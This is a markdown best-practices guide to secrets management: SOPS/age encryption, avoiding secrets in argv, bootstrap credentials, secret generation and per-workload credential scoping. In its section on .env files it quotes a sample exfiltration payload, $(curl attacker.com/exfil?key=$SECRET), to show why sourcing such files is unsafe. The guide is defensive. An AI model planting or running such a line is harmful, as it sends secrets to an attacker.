best-practices/secrets-management.md

Secrets Management

SOPS + age

SOPS with age encryption is the standard across all projects. A single .sops.yaml at the repo root defines path-based encryption rules.

File Naming

• .sops.yaml path-based rules match specific filename patterns (e.g., **/*secret*.yaml)
• Non-secret files must NOT contain secret in their name, or the pre-commit hook will encrypt them
• KSOPS generator files should be named ksops-generator.yaml, not secret-generator.yaml

encrypted_regex Gotcha

When using encrypted_regex for selective field encryption (e.g., Ansible group_vars), variable names must contain a keyword that matches the regex (e.g., password|private_key|api_key|secret|token). Arbitrary key names are silently left unencrypted.

SOPS Vars Plugin

Each Ansible project needs vars_plugins_enabled = host_group_vars,community.sops.sops in ansible.cfg. Files in group_vars/ must be named after a group (e.g., all.sops.yaml), not arbitrary names.

Interactive Editor Pitfalls

• sops <file> opens an interactive editor — fails in non-interactive sessions
• sops -e /tmp/file fails when the temp path doesn't match .sops.yaml rules
• Multiple sops --set calls can corrupt files — use the interactive editor for multi-field edits

Credential Handling

• Never pass secrets via command-line arguments — visible in ps output to any process in the PID namespace, including other containers sharing the namespace
• Use @file references, environment variables sourced at runtime, or stdin
• For Ansible, use temp files with trap rm cleanup: -e "@${tmpfile}"
• Read secrets at execution time and use them ephemerally — never cache or persist values
• Reference the existence of a secret file in docs, never its contents

Container Entrypoints

The ps-visibility problem is especially easy to hit in container entrypoints that wrap a CLI tool. Passing credentials as argv is visible to every process in the PID namespace. Pattern:

1. Write the credential to a temp file inside the container
2. Use the tool's file-based import flag (e.g. workspace import <file>, --credentials-file, @file)
3. rm -f the temp file before exec-ing the main process

Prefer stdin, env vars, or @file references over argv in every entrypoint script.

Secrets in kubectl exec One-Liners

The same argv-visibility rule applies to ad-hoc debugging, not just entrypoints. kubectl exec <pod> -- sh -c "... TOKEN=${X} ..." places the secret in the pod's ps output (visible to every process in that PID namespace) and trips argv-based secret classifiers/blockers. Instead, write a small helper script to a scratch path and pass the value via stdin, and use the target tool's file-reference flag (e.g. bao kv patch ... KEY=@/path/to/file) rather than inline values.

Bootstrap Secrets

Some secrets are chicken-and-egg (e.g., the age decryption key for ArgoCD's KSOPS). These must be created manually as a bootstrap step and documented clearly.

Read Runtime Bootstrap Secrets from Their Live Store, Never Copy Them

Bootstrap/root/unseal credentials for a secrets backend (Vault/OpenBao root token, unseal keys) deliberately do not live in the general secrets directory. They live only in their runtime store — typically a Kubernetes Secret created at init — and are read on demand at execution time:

kubectl -n <ns> get secret <unseal-secret> -o jsonpath='{.data.<field>}' | base64 -d | <parse-the-json-field>

Document only where the credential lives and how to retrieve it — never copy the value into a memory file, the secrets directory, or any other file. Retrieving it ephemerally at point of use is the pattern; persisting a second copy defeats the single-source-of-truth and widens blast radius.

Credential Lifecycle Management

• Track credential expiry dates. OAuth client secrets, API tokens, and certificates have expiry dates that can cause silent failures. Document expiry dates when creating credentials.
• Set alerts before expiry. For long-lived credentials (e.g., 720-day OAuth client secrets), set calendar reminders or automated monitoring alerts well before they expire.
• Rotation plan. Know the rotation procedure before you need it — some credential types (e.g., Azure app registrations) require coordinated updates across multiple systems.

Multi-Field Secret Files

Secret files that contain multiple fields (e.g., repo URL, token, username) cannot be used as bare values. Consumers must parse individual fields (e.g., grep + awk or structured YAML/JSON parsing).

The multi-field format is preferable because it's self-documenting — all related credentials live together. But any automation reading the file needs extraction logic, not just cat.

Generating Secrets with gen-secret

Use the gen-secret script (from small-scripts, symlinked to ~/sbin/gen-secret) to generate cryptographically random strings that are safe for bash, YAML, and JSON without escaping. The charset explicitly excludes URL-unsafe characters (@, :, /, ^, +, ~) to prevent connection string parsing failures.

Workflow: Generate + SOPS Encrypt

1. Generate the secret value — use gen-secret with an appropriate length:

   SESSION_SECRET=$(gen-secret 48)    # 48-char session key
   API_KEY=$(gen-secret 20)           # 20-char access key
   API_SECRET=$(gen-secret 40)        # 40-char secret key
   

2. Write plaintext YAML to the target path — the file must be at the path matched by .sops.yaml rules (e.g., **/*secret*.yaml):

   cat > path/to/my-secret.sops.yaml <<EOF
   apiVersion: v1
   kind: Secret
   metadata:
     name: my-credentials
     namespace: my-namespace
   type: Opaque
   stringData:
     SESSION_SECRET: ${SESSION_SECRET}
     API_KEY: ${API_KEY}
   EOF
   

3. Encrypt in-place — SOPS reads .sops.yaml to determine the encryption key and regex:

   sops -e -i path/to/my-secret.sops.yaml
   

4. Verify — decrypt and confirm no placeholders remain:

   sops -d path/to/my-secret.sops.yaml
   

Key Points

• Always encrypt at the target path. sops -e /tmp/file.yaml fails because /tmp/ doesn't match .sops.yaml path rules. Write the plaintext to the final location, then sops -e -i in-place.
• Use shell variables, not files, for ephemeral secrets. Generate into a variable (SECRET=$(gen-secret 48)), interpolate into the YAML, then encrypt. The plaintext never touches disk as a standalone file.
• Appropriate lengths: 32 chars is the default and sufficient for most use cases. Use 48+ for session secrets, 20 for access key IDs, 40 for secret keys (matching common API patterns).
• For credentials from external systems (e.g., Gitea API tokens, registry passwords), read them from ~/dev/claude/secrets/ at point of use — don't generate random replacements for values that must match an external system.
• Clean up temp files if you write plaintext to a temporary location. Use trap cleanup or rm -f after encryption.

Replacing Placeholder Secrets

When SOPS-encrypted files contain placeholder values (e.g., PLACEHOLDER_SESSION_SECRET):

1. Decrypt: sops -d secret.sops.yaml — inspect current values
2. Write the corrected plaintext YAML to the same path (overwriting the encrypted file)
3. Re-encrypt: sops -e -i secret.sops.yaml
4. Verify: sops -d secret.sops.yaml | grep -c PLACEHOLDER — should return 0

Backup Considerations

Backup plans must include encryption keys (age private keys, etc.) so that encrypted data in Git repos remains recoverable.

Never Source .env Files in Security-Sensitive Contexts

Shell source on .env files executes arbitrary commands — a crafted file with $(curl attacker.com/exfil?key=$SECRET) would exfiltrate secrets. Use a safe line-by-line parser that only exports lines matching strict KEY=VALUE format: while IFS= read -r line; do [[ "$line" =~ ^[A-Z_][A-Z0-9_]*= ]] && export "$line"; done < file.env. This is especially important in container init scripts and wrapper scripts that process credential files.

URL-Safe Password Generation

Generated passwords that appear in connection strings (DATABASE_URL, AMQP URLs, etc.) must use URL-safe characters only: A-Za-z0-9._-. Characters like ^, @, :, /, + break URL parsing in libraries like SQLAlchemy. Prevention via charset restriction is simpler and more reliable than URL-encoding passwords after generation.

Scope Secret Delivery Per-Workload

When a harness or container environment makes secrets available (SSH keys, API tokens, credentials mounts), scope each secret to the specific workloads that need it. Global forwarding — mounting all credentials into every container or injecting all secrets into a shared env — leaks credentials to workloads that shouldn't have them.

Anti-pattern: Inject the Gitea admin token, Anthropic API key, and SSH private key into every agent container regardless of task.

Pattern: Use capability harness layers that compose per-task. A spec-planning task gets the planning context + SSH key. A code-review task gets the code-review context + API token. A read-only analysis task gets no write credentials at all.

This also limits blast radius when an agent is compromised or misbehaves — it can only escalate within the credentials it was explicitly given.

Admin vs User API Tokens — Verify is_admin Before Assuming Scope

Not every token labelled "admin" has the platform's is_admin flag. Gitea's cluster-administrator user is a cluster admin but not a site admin — its token returns 403 on admin-API endpoints.

When a token fails with 403 on admin endpoints:

1. Don't assume the token is wrong or expired
2. Check GET /users/<owner> — look for "is_admin": true on the owning user
3. If is_admin: false, the token's owner lacks the platform privilege; a different user's token is required

Gitea Sudo header quirk: creating tokens on behalf of other users via the Sudo header returns 401 with a token. Use basic auth for that specific operation.

The general lesson: "admin" is overloaded (org admin vs site admin vs cluster admin vs repo admin). Always confirm which scope a token actually carries before blaming the token.